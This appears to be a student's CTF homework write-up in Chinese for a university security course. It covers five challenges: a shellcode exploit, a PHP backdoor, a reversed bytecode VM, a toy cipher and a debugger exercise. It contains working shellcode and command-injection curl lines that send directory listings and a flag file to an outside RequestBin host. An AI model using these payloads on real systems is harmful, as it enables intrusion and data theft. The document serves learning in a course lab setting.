---
# System prepended metadata

title: CS 2019 Fall - Homework 0x00
tags: [程安]

---

###### tags: `程安`

# CS 2019 Fall - Homework 0x00

### [0x00] shellc0de
```python=
from pwn import *
context.arch = 'amd64'

host, port = "edu-ctf.csie.org", 10150
p = remote(host, port)

# shellcode for linux x86_64
# source - http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = """
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b

/* rewrite syscall (\x0f\x05) */
mov bx, 0x040e
add bx, 0x0101
push bx
jmp rsp
"""
payload = asm(shellcode)
print(payload)
p.send(payload)
p.sendline("cat /home/shellc0de/flag")
p.interactive()
```
普通的shellcode題，只多了會篩掉`\x00 \x0f \x05`的過程。
但很不幸的`\x0f \x05`正好是`syscall`的opcode。
所以這邊使用加法在`bx`上來湊出`\x050f`之後，push到stack上並jump到stack，觸發`syscall`
(使用`rbx`的話會出現`\x00`，因此這邊使用`bx`)

---
### [0x00] open my backdoor
```php=
     
                                   
<?php
set_time_limit(3);
ini_set('max_execution_time', 3);
highlight_file(__FILE__);$f=file(__FILE__);

$c=chr(substr_count($f[1],chr(32)));
$x=(substr($_GET[87],0,4)^"d00r");$x(${"_\x50\x4f\x53\x54"}{$c});
```

先對原本的code進行小修改
```php=6
$c=chr(substr_count($f[1],' '));
$x=(substr($_GET[87],0,4)^"d00r");$x(${"_POST"}{$c});
```
然後我們會發現，它好像在算這個php code file的第2行(`$f[1]`)的空格數量，但空格在哪？
![](https://i.imgur.com/uSAQ4hz.png)
結果那一行真的有空格，一共35個
所以我們再改寫
```php=6
$c=chr(35);
```
然後因為chr(35) = '#'，所以
```php=6
$c='#';
$x=(substr($_GET[87],0,4)^"d00r");$x(${"_POST"}{$c});
```
也就是說，我們可以藉由POST `#`來塞東西進去`$x(${"_POST"}{$c})`
而`$x`的部份，可以藉由GET `87`這個參數來塞給它，然後取其前4個字元與"d00r"做XOR來作為`$x`
不如我們就來試著叫叫看shell吧。
google一下發現php有一個叫`exec()`的function可以使用，而且剛好是4個字元。
我們先將"exec"與"d00r"做XOR，GET傳給php的時候就會還原回"exec"
```sh=
curl -d '#=ls' 'http://edu-ctf.csie.org:10151/d00r.php?87=%01%48%55%11'
```
以上是組合出來的基本樣子
然而我們curl下來的內容裡面，並不會顯示`ls`的結果
既然如此，只好讓它再curl別人然後利用GET Method把結果丟出來了
(這邊使用RequestBin來接收他的curl)
```sh=
curl -d '#=curl http://requestbin.net/r/1ja8rf11?f=$(ls /)' 
                'http://edu-ctf.csie.org:10151/d00r.php?87=%01%48%55%11'
```
於是我們收到`ls`的結果了！ ![](https://i.imgur.com/mQCBGzc.png)
然而只有一行，這邊我們借助`base64`來解決只有一行的問題  ![](https://i.imgur.com/MjbS8vG.png)
最後
```sh=
curl -d '#=curl http://requestbin.net/r/1ja8rf11?f=$(cat ~/flag_is_here
        | base64)''http://edu-ctf.csie.org:10151/d00r.php?87=%01%48%55%11'
```
就拿到flag了 ![](https://i.imgur.com/4inclv6.png)

---
### [0x00] m4chine
先使用`uncompyle6`將pyc file反編回py file
```python=
# uncompyle6 version 3.4.0
# Python bytecode 3.7 (3394)
# Decompiled from: Python 2.7.15+ (default, Jul  9 2019, 16:51:35) 
# [GCC 7.4.0]
# Embedded file name: m4chine.py
# Size of source mod 2**32: 4498 bytes
from ctypes import *
from binascii import *

class Machine:

    def __init__(self, init):
        ...
    def empty(self, _):
        ...
    def e_start(self, code):
        ...
    def push(self, num):
        ...
    def pop(self, _):
        ...
    def terminal(self, _):
        ...
    def add(self, _):
        ...
    def sub(self, _):
        ...
    def cmp(self, num):
        ...

print('\n                                                                                                                                                         \n888b      88  88  888b      88  88    d8\'  ad88888ba      88b           d88         db         ,ad8888ba,   88        88  88  888b      88  88888888888  \n8888b     88  88  8888b     88  88   d8\'  d8"     "8b     888b         d888        d88b       d8"\'    `"8b  88        88  88  8888b     88  88           \n88 `8b    88  88  88 `8b    88  88  ""    Y8,             88`8b       d8\'88       d8\'`8b     d8\'            88        88  88  88 `8b    88  88           \n88  `8b   88  88  88  `8b   88  88        `Y8aaaaa,       88 `8b     d8\' 88      d8\'  `8b    88             88aaaaaaaa88  88  88  `8b   88  88aaaaa      \n88   `8b  88  88  88   `8b  88  88          `"""""8b,     88  `8b   d8\'  88     d8YaaaaY8b   88             88""""""""88  88  88   `8b  88  88"""""      \n88    `8b 88  88  88    `8b 88  88                `8b     88   `8b d8\'   88    d8""""""""8b  Y8,            88        88  88  88    `8b 88  88           \n88     `8888  88  88     `8888  88        Y8a     a8P     88    `888\'    88   d8\'        `8b  Y8a.    .a8P  88        88  88  88     `8888  88           \n88      `888  88  88      `888  88         "Y88888P"      88     `8\'     88  d8\'          `8b  `"Y8888Y"\'   88        88  88  88      `888  88888888888  \n                                                                                                                                                         \nThis is nini\'s machine to test if you are qualified to join this class\n                                                                                                                                                         \n\n')
s = input('So, what is the flag ? >> ')
emu = Machine(s)
emu.e_start('\x08\x00\x07\x08\x00\x00\x01d\t\x00\x00\x00\x014\t\x00\x073\x07\x01\x073\x08\x00\x00\x00\x01e\t\x00\x00\x00\x08\x00\x07c\x00\x00\x01\x00\t\x00\x00\x00\x074\x08\x00\x01\x00\t\x00\x06\x00\x01e\t\x00\x06\x00\x07Z\x08\x00\x01\x00\t\x00\x07h\x00\x00\x08\x00\x01\x00\t\x00\x06\x00\x07S\x08\x00\x01\x00\t\x00\x06\x00\x07_\x08\x00\x01\x00\t\x00\x06\x00\x07G\x08\x00\x01\x00\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01j\t\x00\x00\x00\x01C\t\x00\x06\x00\x07\x00\x07\x01\x00\x00\x07\x02\x00\x00\x07\x03\x00\x00\x07\x04\x00\x00\x07\x05\x00\x00\x07\x06\x00\x00\x07\x07\x00\x00\x07\x08\x00\x00\x07\t\x00\x00\x07\n\x00\x00\x07\x0b\x00\x00\x07\x0c\x00\x00\x07\r\x00\x00\x07\x04\x00\x00\x08\x00\x01\x00\t\x00\x06\x00\x01w\t\x00\x06\x00\x010\t\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x13\x00\x00\x01\x00\t\x00')
print('Yeah, you got the flag')
# okay decompiling m4chine.pyc
```
我們仔細觀察可以發現，其實是一個模擬stack的程式，並藉由`e_start([command])`來對其下指令。而我們輸入的東西，則作為stack的初始狀態。
既然如此，不如我們寫個python code，將`e_start([command])`內的指令print出來之後直接暴力硬往回推，推出flag
```python=
sub
psh 8
add
cmp 100
tml
.
.
.
add
cmp 0
tml
```
因為tml的關係，我們可以藉由它來回推出stack要長怎麼樣才能通過所有的tml
```python=
stack = [-a -b -c -d -e -f 48 119 95 66 105 105 105 105 105 105 105 105
                                     71 95 83 105 90 101 51 101 51 33 125]
# 其中的a,b,c,d,e,f為未知數
```
我們可以拿到`"??????0w_BiiiiiiiiG_SiZe3e3!}"`，其中`?`是未知字元
另外又因為flag一定長`FLAG{...}`或`flag{...}`，所以我們最後便可以推出flag為`FLAG{W0w_BiiiiiiiiG_SiZe3e3!}`
(過程中要注意overflow的問題，因為運算時使用的int type為`c_int8`)

---
### [0x00] encrypt
* Part 1 - Linear Feedback Shift Register
```python=
def stage0(m):
    random.seed('oalieno')
    p = [int(random.random() * 256) for i in range(16)]
    s = [int(random.random() * 256) for i in range(16)]
    c = b''
    for x in m:
        k = op1(p, s)
        c += bytes([x ^ k])
        s = s[1:] + [k]
    return c
```
由於random seed固定值，所以每次進入`stage0(c)`時，for loop中k的迭代值是固定的
```python=
i in k = [142, 97, 45, 175, 112, 157, 238, 137, 114, 214, 34, 143,
                                                         72, 175, 56, 100]
```
所以`stage0(c)`的功能其實就只是將`c`與上面的list做xor。那只需將`c`與該list再做一次xor就可以還原回來。
```python=
def de_stage0(c):
    t = [142, 97, 45, 175, 112, 157, 238, 137, 114, 214, 34, 143,
                                                         72, 175, 56, 100]
    c = bytes([i ^ j for i, j in zip(list(c), t)])
    return c
```
* Part 2 - Substitution Permutation Network
```python=
def stage1(m):
    random.seed('oalieno')
    k = [int(random.random() * 256) for i in range(16)]
    p = [i for i in range(16)]
    random.shuffle(p)
    s = [i for i in range(256)]
    random.shuffle(s)
    
    c = m
    for i in range(16):
        c = op2(c, k) # bytes([i ^ j for i, j in zip(c, k)])
        c = op3(c, p) # bytes([c[p[i]] for i in range(len(c))])
        c = op4(c, s) # bytes([s[x] for x in c])
    
    return c
```
相同道理，我們只需將加密過程`op2->op3->op4`逆向還原回來即可
```python=
def de_stage1(c):
    random.seed('oalieno')
    k = [int(random.random() * 256) for i in range(16)]
    p = [i for i in range(16)]
    random.shuffle(p)
    s = [i for i in range(256)]
    random.shuffle(s)

    for i in range(16):
        c = bytes([s.index(x) for x in c])                # de op4
        c = bytes([c[p.index(i)] for i in range(len(c))]) # de op3
        c = bytes([i ^ j for i, j in zip(c, k)])          # de op2
    return c
```
* Part 3 - 猜key
```python=
for i in map(int, f'{key:08b}'):
        m = stage[i](m)
...
assert(E ** ( I * pi ) + len(key) == 0)
```
因為這兩行，我們可以知道key其實只有1個字元，並將其寫成8-bit形式，依照8個bit分別為0還1，來對原訊息做`stage0(c)`或`stage1(c)`

既然只有8-bit，也就是只有256種可能，那就直接暴力猜出來吧

```python=
if __name__ == '__main__':
    de_stage = [de_stage0, de_stage1]
    for key in range(256):
        cipher = open('cipher', 'rb').read()
        for i in map(int, f'{key:08b}'):
            cipher = de_stage[i](cipher)
        if 'FLAG' in str(cipher):
            print(cipher) # b'FLAG{q6B3KviyaM}'
```

---
### [0x00] Winmagic
這邊使用x64dbg
```cpp=20
password = rand();
```
我們在這行的後面下breakpoint

![](https://i.imgur.com/FUTZRRB.png)

我們可以看出這次random出來的數字為`0x3a2b` = 14891

![](https://i.imgur.com/SIh4Mwq.png)